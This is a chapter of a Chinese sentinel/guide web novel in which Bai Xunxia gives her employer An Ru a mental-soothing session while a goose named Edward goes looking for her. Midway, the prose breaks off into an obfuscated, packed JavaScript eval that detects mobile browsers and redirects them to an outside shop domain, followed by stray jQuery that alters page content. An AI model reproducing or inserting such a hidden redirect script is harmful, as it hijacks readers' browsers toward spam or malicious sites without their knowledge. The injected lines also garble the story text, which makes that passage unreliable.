女人极惭愧,宛如不小心让白寻夏撞见多恶心的事,她没有被人撞破的尴尬,满是对白寻夏的担心。

    “有吓到吗?”

    “抱歉,我叫你上来的时候,不知道他在柜子里藏着。”

    耳边是红茶入杯的涓涓水流声。

    白寻夏抬手摸了摸微微发烫的脸颊,刚才的一幕真是不敢叫人相信。

    男人离开前留下的信息素味道迟迟不散,她的雇主到窗边推开了窗,比白寻夏还担心信息素的逸散,会引起白寻夏的不适。

    签合同时没写明性别,今天人到这儿了,白寻夏才知道她的雇主是个女人。

    基因进化的密码,科学界大多没有破解,哨兵和向导里的男女比例并不均匀。

    女哨兵和男向导在他们的类别中,数量不占优势。

    何况她的雇主,好像是个能让男向导对她痴迷的女哨兵。

    白寻夏脸颊上的红晕迟迟未散,从脸边放下的手,躲着雇主的视线,小心翼翼地给自己扇了扇风。

    刚才那一幕,对于连喜欢都未曾有过的白寻夏而言,尺度过于大了些。

    太像这个时代发达到遍地生花的,限制级影视作品。

    在被她撞破,心生不满,故意迎着她的注视,示威般咬住女人后颈的齿牙,在雇主轻呼时,红舌从犬齿间伸出,细细密密地在牙痕上舔舐。

    似乎察觉到女人态度松软,舔舐被亲吻替代,时轻时重,一点不受白寻夏这个入侵者的干扰。

    因为多余的注视,不知是占有欲还是危机感,亲吻逐渐加重,勾引着女人乱了呼吸,在那处痕迹布满的位置,又舔又咬,喘息愈发沉重。

    啪。

    女人在他满眼警告地看向白寻夏时,反手甩了他一巴掌。

    “因为她才不需要我的吗?”男人停下的口吻满是不甘。

    却在女人明显略沉的呼吸,怒气冲冲的冷眼中,缓了语气:“对不起,是我错了,我明天再来找你。”

    故作缓和的脸色逼迫他端出一副好人样,从白寻夏身边走过时,善意地笑笑。

    只不过有多真心,只有看见他下秒拉直了嘴角的白寻夏清楚。

    她从来没见过任何一位向导,还是男向导,对一名哨兵如此的渴望。

    在这个世界,似乎不管男女,痴迷失神的状态通常只会存在于哨兵这一第二性征。

    空气中两种不同的茶香撞到一起,她的雇主同那个男人不加掩饰的,关系匪浅。

    不过这都跟白寻夏没关系,她既非向哨研究界的专家,也不是八卦记者,这个小插曲只能作为眼界的开阔,不足以在白寻夏记忆里留下痕迹。

    后腿靠上个硬物,她转头,看见雇主推来的椅子。

    “坐吧。”

    白寻夏这才发现她站太久了。

    落座后女人为她端来红茶:“你知道我的名字吧?”

    “知道。”白寻夏接过,“安如女士。”

    安如对她弯了眼:“叫我安如就好,刚才是不是吓坏了?”

    惊吓不至于,就是……想起刚才,白寻夏摇头默不作声地端起杯喝茶,遮住脸上那抹殷红。

    见她不大愿意提及刚才的事,安如恰到好处地转移话题:“沈医生推荐你到我这儿来,有些话没和你说清楚。”

    “什么?”白寻夏脸颊的红晕顷刻散去。

    茶杯搁上茶托,清脆的响声响在空旷的房间里,安如说:“在精神疏导开始之前,我必须告诉你,你的朋友拜托我监测你的信息素。”

    沉默须臾,手里的茶水渐冷,白寻夏感受着掌心里的温差:“你告诉我之前,她知道吗?”

    她的表情没有刚才那般温和,即使进门前看见主人家不得体的一幕,她也保持着为人该有的礼节。

    但提到沈苗,安如这种好比背叛的行为,引起白寻夏的不悦。

    安如也意外:“比起被监测,更讨厌至亲的朋友遭遇背叛吗?”

    白寻夏的脸色并未缓和。

    “放心,她做事周全,知道我会告诉你。”

    到此,白寻夏脸上才挂回方才的笑。

    安如不曾听沈苗对外介绍过白寻夏,只知道她们关系很好,眼□□会的亲近超乎她的意料:“不生气吗?”

    信息素明明是很重要的东西。

    最初的分化,向导和哨兵的后颈长出与一般人不同的腺体,这种腺体被称为第二性征。

    又过了几十年,腺体对外散出气味,幻想作品中的信息素概念被抬向现实。

    不过这个时代的信息素还没有作品中传得神乎其神。

    它似乎仅仅作为腺体存在的意义,而它本身不具备任何生物学上的意义。

    荷尔蒙相互吸引的男女,会用信息素调和气氛,表述爱意和亲近。

    但信息素始终与荷尔蒙分开,人们的理智不会受它控制。

    经年过去,对于向导和哨兵的研究不可避免地开展到信息素,因此就算是信息素不被束缚,可以随意外放的时代。

    这种东西也属于他人的隐私。

    监测信息素的变化,可以反推精神体的状态,再到精神海、基因……被观察信息素变化这件事,白寻夏完全可以把沈苗告上洲际法庭。

    “为什么生气?”白寻夏却笑着,“她只是有件暂时不能坦白,但需要我去做的事。”

    安如端起茶杯:“是嘛……”

    白寻夏出远门的事,只告诉了鲁斯和埃夫隆,她不觉得自己会出去太久,因此其他动物一概不知。

    逐渐下大的雨幕洗涤阿卡索大半旧时的气味,同时又激发出全新的味道。

    有雨露、花草……但哪种都不是生长在雪地高原的鸢绒花。

    早晨没有的烦闷,现在触底反弹似的,尽数萦绕在爱德华的心脏上。

    他想白寻夏了。

    非常想。

    就算距离上一次见到白寻夏,被她送到玻璃房,只过去一个多小时。

    思念依旧如决堤的河坝,不断上涨溢出的潮水,殷红的鹅嘴翕动,吐出嘤语的叹息。

    鹅群只剩他了,但是如今的处境和以前待在白天鹅群中,遭受的冷落没差,爱德华一直都是一只鹅,蹲坐在玻璃房熟悉的角落里。

    雨滴在玻璃窗上汇聚成小河,视野不断被雾气遮盖,又被连绵不断的水流洗净。

    爱德华看着洁净的玻璃窗,他这张看不出表情的羽毛脸旁,没有一张始终面带微笑的脸,沉郁良久,坐不住了。

    他要去找白寻夏。

    小巧的鹅脑袋顶开一扇窗,那是白寻夏未曾发现的疏漏,一扇螺丝出了问题,可以翻转形成小门的窗户。

    被爱德华轻而易举地掀开,坚定地走进雨幕,短小的屁股在雨中抖动,被白寻夏照料得很好,新长出的尾羽替他抵御大半的雨水,不至于渗进皮肉再生一次病。

    环林山庄,红木地板上躺着一条花纹近似鲁斯的鬣狗。

    科技发达的年代,人们早已不会被镜头欺骗,误以为鬣狗是体型多小的生物。可是全息投影的尺寸,到底和亲眼所见有着不可逾越的差距。

    白寻夏从未离一头,比成年男性哨兵还要高大的鬣狗,

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17652514|205905||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    如此的近过。

    银蓝灰的颜色很大程度地柔和了一只鬣狗,该有的侵略性。大概因为精神体这样的颜色近似鲁斯的毛发、眼瞳,朝夕相处的熟悉刻进脑海,白寻夏看着吞吐呼吸的鬣狗张开嘴哈气,露出尖锐的齿牙,心里实际没那么害怕。

    其实惊讶更多,长相明媚耀眼的安如女士,她不仅是哨兵,拥有的精神体居然还是自然界中的狠角色。

    大自然中擅长群体捕猎的鬣狗,因为爱掏猎物的□□,有着□□医生的称号。

    白寻夏闭闭眼,掩去过去见过哨兵凶狠一面的阴影,拟兽的精神体跳跃而出,同为鬣狗的形态。

    “你的拟兽一直这样吗?模仿别人的精神体。”两只鬣狗互嗅气味,靠近熟悉,安如突然询问,“你有见过你的精神体本来的样貌吗?”

    精神体变得熟络,气息互换后踏入对方的领地,接触精神海的精神抚慰自然而然地开始。

    白寻夏得空回了她的话:“是的,白塔评估过我的精神体,它的个性太高傲了,不喜欢别人看见它本来的样子。”

    安如不以为然:“可你是它的主人。”

    “嗯……”不知道为什么,白寻夏本能地排斥这个话题,但也不好驳雇主的面子,“可能我这个主人不讨它喜欢。”

    说得像受制于人,作为人类精神象征的精神体,拥有独立意识似的。

    精神体只会反应主人的意愿。

    不过看出白寻夏的不愿,安如也就没再追问。

    一场精神疏导通常不会超过一个小时。简单的精神抚慰,最佳时间也就在二十到三十分钟。超出这个时间,要么是哨兵的精神海出现突发状况,要么是过度滞留,哨兵极可能出现攻击性。

    结束后两人手里各持一份报告,白寻夏的有关安如的精神状态,安如手里的则是白寻夏在精神抚慰中,信息素的释放含量。

    “要看看吗?”安如主动交出了手里的报告。

    “不用。”白寻夏完全信任沈苗,“直接给她吧。”她看着安如这份精神报告:“安如,你的精神海没有破损,精神体的情绪也很稳定,为什么需要精神抚慰呢?”

    她已经将话婉转了许多。

    一般从战场退下的哨兵,或多或少存在战争创伤后遗症。而从安如的报告评估来看,根本看不出她是上过战场的人,仿佛一直生活在和平年代。

    不过分地讲,可能比和平年代打工的哨兵,精神状态还要健康。

    安如今年三十二岁,按照沈苗说的,她从战场退下十多年了,往后推去,那么安如经历的最后一场战争,应该是历史上的环比索守卫战。

    那场战争将菲洛普星内部的洲际战场拉向星际,人类第一场载入史册,具有划时代意义的与虫族的战争。

    虫族的入侵也就那一次,之后销声匿迹到,似乎只有死去士兵的家人记得,这颗曾经被称为地球的菲洛普星,遭遇过虫族的袭击。

    外星科技在战场留下的环比索地形环,又无时无刻地提醒人类,那场战斗的凶险。

    白寻夏不爱随意揣测别人,她对待动物尚且如此,对待同类也只会更注重礼节和规矩,但是安如的报告健康到……诡异?还是可怕?

    她竟一时半会儿找不到形容词。

    但是安如竟然只用一句话,就打破了她话里的质疑:“因为我有沈医生啊——”

    医学界的天才,卓越到白塔上层对她的看法,从可惜她不是哨兵也不是向导,到幸而她不是哨兵向导。

    “原来是这样。”白寻夏放松地笑笑,“那我就不继续打扰了。”